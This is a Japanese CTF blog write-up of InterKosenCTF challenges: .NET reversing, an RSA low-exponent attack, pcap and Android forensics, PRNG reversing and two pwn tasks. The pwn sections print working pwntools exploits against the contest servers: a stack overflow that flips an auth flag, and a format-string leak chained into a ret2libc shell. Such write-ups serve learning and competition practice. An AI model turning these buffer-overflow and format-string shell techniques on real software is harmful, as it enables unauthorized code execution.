みつのCTF精進記録

プログラム書いたりCTFやったりするゆるゆるなブログです。

InterKosenCTFに参加した

どうやら高専CTFのときの優勝チームがCTFを開催するらしいと聞いて参加してみました。高専チームとしてでるとなんか色々よさそうでしたが、今回はGrowthKeysとして、naoppyさんとaileさんと最後にちょっとだけKaitoさんと参加しました。

以下自分が解いた問題+αのwriteupです。

 

[Cheat:100] lights out

Turn all the lights on.

WindowsのバイナリだったのでとりあえずIDAさんに食わせるもエラーを吐かれます。読んでみると.netのプログラムだということがわかるのでdnsPyに食わせます。

f:id:mi__tsu:20190120231225p:plain

 とりあえず色々関数を見てみると.cctorに怪しいプログラムが見つかりました。

f:id:mi__tsu:20190120231631p:plain

よくわからないけどフラグ作ってそうだなーって思ってこの部分だけPythonで書いて実行してみるとフラグがでました。

KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}

 

[Crypto:100] strengthended

If you choose a tiny e as an RSA public exponent key, it may have the Low Public Exponent Attack vulnerability. So, I strengthened it.

RSA問です。問題文を見るとLowPublicExponentAttackをする問題だけどちょっと工夫がいるような感じだなーと思います。

# encrypt.py
from
Crypto.PublicKey import RSA from flag import flag assert(flag.startswith("KOSENCTF")) m = int(flag.encode("hex"), 16) key = RSA.generate(2048, e=3) while pow(m, key.e) < key.n: m = m << 1 c = pow(m, key.e, key.n) print("c={}".format(c)) print("e={}".format(key.e)) print("n={}".format(key.n
encrypted
c=4463460595992453701248363487821541441150903755360725278018226219397401710363861496059259094224390706180220952190225631877998805079875092397697611750633506584765344462795005248071815365597632474605092833538433542560077911683343354987797542811482161587946052311886487498036017642286567004537026772476444248546454191809039364154237333857544244714476659565633430727987398093807535598721617188645525580904749313860179445486488885745360135318781538863153023533787846418930231495508425497894530548826950697134882405386297339090051713047204435071147720540765043175338026604739425761557904004394283569956586190646684678673053 e=3 n=20169655945950105431738748243853927780331001640334986437959982160666610494142435056640595584712525268749025697813786742196769781107156600305882353438821338449740459508913799371467499117044809895128843358770212122149984787048869330121794532368786611513049229117856338074267497697268551262926233194699624069306801634627577488539763083043246322479538731125975155062918653790730355348606063864283452838775795802376825160728197871502803176167192178252802683495999009932194712635685410904731513241097681486329083486997949127983471617545787155883408710148611375930619822455594408723266661117411592239721104309931413551856711

encrypt.pyでフラグを暗号化して結果がencryptedなんだなーと分かります。eの値が小さいのでやはりLowPublicExponentAttackだなーと思いますが、encrypt.pyでpow(m, key.e) < key.n のときmの値をどんどん2倍していっていたため、ただやるだけではだめだと分かります。

encrypt.pyで最終的に求められるmは適当な自然数xを使えば n*x+c と表すことができ、これを考えると解けます。

# exploit.py
import
gmpy2 import codecs c=4463460595992453701248363487821541441150903755360725278018226219397401710363861496059259094224390706180220952190225631877998805079875092397697611750633506584765344462795005248071815365597632474605092833538433542560077911683343354987797542811482161587946052311886487498036017642286567004537026772476444248546454191809039364154237333857544244714476659565633430727987398093807535598721617188645525580904749313860179445486488885745360135318781538863153023533787846418930231495508425497894530548826950697134882405386297339090051713047204435071147720540765043175338026604739425761557904004394283569956586190646684678673053 e=3 n=20169655945950105431738748243853927780331001640334986437959982160666610494142435056640595584712525268749025697813786742196769781107156600305882353438821338449740459508913799371467499117044809895128843358770212122149984787048869330121794532368786611513049229117856338074267497697268551262926233194699624069306801634627577488539763083043246322479538731125975155062918653790730355348606063864283452838775795802376825160728197871502803176167192178252802683495999009932194712635685410904731513241097681486329083486997949127983471617545787155883408710148611375930619822455594408723266661117411592239721104309931413551856711 for i in range(pow(2, e)): if (i*n+c)%(pow(2, e)) == 0: me = i*n+c m,a = gmpy2.iroot(me,e) while m != 0: M = hex(m)[2:].encode('utf-8') try: M = codecs.decode(M, 'hex').decode('utf-8') break except: pass m = m >> 1 print(M)

KOSENCTF{THIS_ATTACK_DOESNT_WORK_WELL_PRACTICALLY}

 

 [Firensics:50] attack log

Someone seems to have tried breaking through our authentication. Find out if he or she made it to the end. 

pcapngファイルが渡されるので解析していきます。 

とりあえずstrings

 $strings attack_log.pcapng | grep KOSEN
	The flag is KOSENCTF{&lt;the password for the basic auth&gt;}

パスワードがわかればいいです。

wiresharkで除いてhttpに絞ってみると、大量のGETと401がUnauthorizedが見つかります。

f:id:mi__tsu:20190121000136p:plain

ここでInfomationで整理してみると、大量のUnauthorizedの中に唯一200 OKが返っている18777番のパケットが見つかります。この直前にGETしている18775番のパケットをみてみるとパスワードがみつかるので、それがフラグになります。

f:id:mi__tsu:20190121000744p:plain

KOSENCTF{bRut3F0rc3W0rk3D}

 

[Forensics:200] conversation

We seized a smartphone which one of the suspects had used. Find out the conversation they had. 

自分はとても苦戦しましたが通してる人がたくさんいたのでとても焦りました。

最初、e2fsckでイメージファイルを修復してマウントして…とやっていたのですがフォルダが多すぎて大変で、結局その方法ではフラグを見つけることができませんでした。

いい方法ないかなーって思ってとりあえずforemostしてみたところ、画像ファイルがいくつか出てきたのでとりあえず全部見てみました。すると、怪しいjpgファイルが見つかりそこにフラグが書いてありました。

 

f:id:mi__tsu:20190121001324p:plain

KOSENCTF{7h3_4r7_0f_4ndr01d_f0r3n51c5}

 

[pwn:100] double check

 nc pwn.kosenctf.com 9100

// auth.c
#include
<stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> char auth = 1; char password[32]; void handler(int sig) { if (sig == SIGALRM) { puts("\nTimeout."); exit(1); } } void init(void) { setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, handler); alarm(5); } void sw(char flag) { auth = flag; } char readfile(char* path, char* buf) { FILE *fp; if (auth == 1) { fp = fopen(path, "r"); fread(buf, 1, 31, fp); fclose(fp); buf[31] = 0; auth = 0; } else { return 1; } return 0; } int main(void) { FILE *fp; char input[32]; init(); if (readfile("password", password)) { puts("The file is locked."); return 1; } printf("Password: "); scanf("%s", input); if (strncmp(password, input, 31) == 0) { sw(1); } else { sw(0); } if (strncmp(password, input, 31) == 0) { if (readfile("flag", password)) { puts("The file is locked."); } else { printf("%s\n", password); } } else { puts("Invalid password."); } memset(password, '\x00', 32); return 0; }

 offset:44の位置でバッファオーバーフローで任意アドレスに飛ばせます。パット見たところ、一番最後の if(strncmp(password, ...) { と if(readfile("flag", password)) { の間に飛ばせばいいことがわかりますが、ただやるだけだとauthフラグが0になてしまい、The file is locked. と表示されてしまうのに阻まれてしまいます。

まずauthフラグについては sw(1) を呼び出してあげればいいです

以下エクスプロイトコード

# exploit.py
from
pwn import * # overflow offset = 44 addr = 0x0804883f # puts(password) sw = 0x08048700 r = remote("pwn.kosenctf.com", 9100) # r = process("./auth") payload = "A" * 44 payload += p32(sw) payload += p32(addr) payload += p32(0x1) r.sendline(payload) r.interactive()

KOSENCTF{s1mpl3-st4ck0v3rfl0w!}

 

[pwn:200] introduction

nc pwn.kosenctf.com 9200 

// introduction.c
#include
<stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> void handler(int sig) { if (sig == SIGALRM) { puts("\nNo need to answer my question. Bye."); exit(1); } } void init(void) { setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, handler); alarm(5); } int main(void) { char buffer[128]; init(); puts("May I ask your name?"); printf("First Name: "); scanf("%127s", buffer); printf(buffer); printf("\nFamily Name: "); scanf("%127s", buffer); printf(buffer); puts("\nThanks."); return 0; }

これとlibc-2.27.soももらえました。

公開されてから割と早い段階で解けてとてもうれしかった問題でもあります。

面倒くさいので詳しくは明日書きます。コードどぺー

#coding:utf-8
from pwn import *

# fsa

offset = 7
baseOffset = 0x8ab

# local
#systemOffset = XXXXXXXX
#binshOffset = XXXXXXXX
#libcstartmainOffset_241 = XXXXXXXX

systemOffset = 0x3cd10
binshOffset = 0x17b8cf
libcstartmainOffset_241 = 0x18d90 + 241

#r = process("./introduction")

r = remote("pwn.kosenctf.com", 9200)

sleep(0.3)
r.recv(0x100)

# 1:bufferのアドレスリーク用(bufferのアドレスが受け取れる) 2:libc_baseリーク用(__libc_start_main+241が受け取れる)
r.sendline("AAAA,%x,%43$x")

buflibc = r.recvline()
bufferAddr = int(buflibc[5:13], 16)
libcBase = int(buflibc[14:22], 16) - libcstartmainOffset_241
log.info("bufferAddr = " + hex(bufferAddr))
log.info("libcBase = " + hex(libcBase))
bufferOffset = 0x90  # bufferAddr + bufferOffset = retAddr

retAddr = bufferAddr + bufferOffset
r.sendline(fmtstr_payload(offset, {retAddr: systemOffset + libcBase, retAddr+8: binshOffset + libcBase}))

r.interactive()

これでシェルが奪えるのでcat flagすればオーケー

KOSENCTF{lIbc-bAsE&ESp_lEAk+rET2lIbc_ThrOugh_FSB}

 

[Reversing:100] flag_generator

This program generates the flag for you!! 

func r() {
	int a = obj.s;
	a *= 0x41c64e6d;
	a += 0x3039;
	a &= 0x7fffffff;
	obj.s = a;

	return obj.s;
}

local40h = 0;

obj.s = time(NULL);
obj.s = r();

local44h = obj.s;

if(local38h == local44h) local3ch = 1;
else local3ch = 0;

if(local3ch == 0) {
	sleep(1);
} else {
	rax = local40h;
}

いい感じの時間になるまでループし続け、なったらフラグを作るらしいです(多分)

f(n) = 0x25dc167e となるnを[obj.s] に打ち込めばいいことがわかります。

ソルバどぺー

#coding:utf-8
from z3 import *
import re
"""
f(n) = 0x25dc167e
となるnを[obj.s] に打ち込めばいい

(n*0x41c64e6d+0x3039)&0x7fffffff == 0x25dc167e
"""

n = BitVec("n", 2048)

s = Solver()
s.add((n*0x41c64e6d+0x3039)&0x7fffffff == 0x25dc167e)

print(s.check())
m = s.model()
print(m)


flag = [
0x608f5935,
0x57506491,
0x27365557,
0x54e3dea1,
0x755a4ed5,
0x17f42eb7,
0x4a4f9059,
0x1a08e827,
0xd9d391f,
0x59e533aa
]

seed = 0x25dc167e
for i in flag:
    flag = hex(i ^ seed)
    flagg = re.split('(..)',flag)[1::2][1:][::-1]
    for j in flagg:
        print(chr(int(j,16)), end = "")
    seed = (seed*0x41c64e6d+0x3039)&0x7fffffff

z3pyでごり押しました。

KOSENCTF{IS_THIS_REALLY_A_REVERSING?}

 

[Reversing:200] flag_checker (おまけ)

You should check your flag before your submission. 

 自分はこの問題を解くことができませんでしたが、ちょっとしたミスでうーん…となっていて最終的にアで悔しいのでwriteup書きます。

受け取った文字列を 0xdec0c0de を鍵としていい感じに変更して、最終的に元々用意されていたものになればそれがフラグということがわかります。

また鍵も 0xdec0c0de -> 0xdec0c0dede -> 0xdec0c0dedec0 のように数値が変わっていきます。

ソルバどぺー

// solv.c
#include <stdio.h>

unsigned int rotate8(unsigned int a) {
	return (a >> 24) | (a << 8);
}

int main() {
	unsigned int syms[9] = {0xc2d7c99f, 0x5944460a, 0xc1cec584, 0x4e5f4f3f,
		0xddded4be, 0x4c4a4b39, 0xd1d1cfa6, 0x4e4a5529, 0xddc3c3a3};
	unsigned int decocode = 0xdec0c0de;
	unsigned int cnt = 0;
	char flag[256];

	for(int i=8; i>=0; i--) {
		for(int j=0; j<4; j++) {
			(flag+i*4)[j] = ((syms[i]^decocode^cnt) >> 8 * j) & 0xff;
		}
		cnt ^= ((syms[i]^decocode^cnt)^decocode);
		decocode = rotate8(decocode);
	}
	printf("%s\n", flag);

	return 0;
}

KOSENCTF{TOO_EASY_TO_DECODE_THIS}

 

感想

今回GrowthKeysは16位でした。とても疲れて、二日目は17時間睡眠をキメてしまい起きた時は焦りました…w

もう少し上を狙えたかなと考えるととても悔しいですが、結果は結果なので精進していきたいと思います。

本当にお疲れさまでした。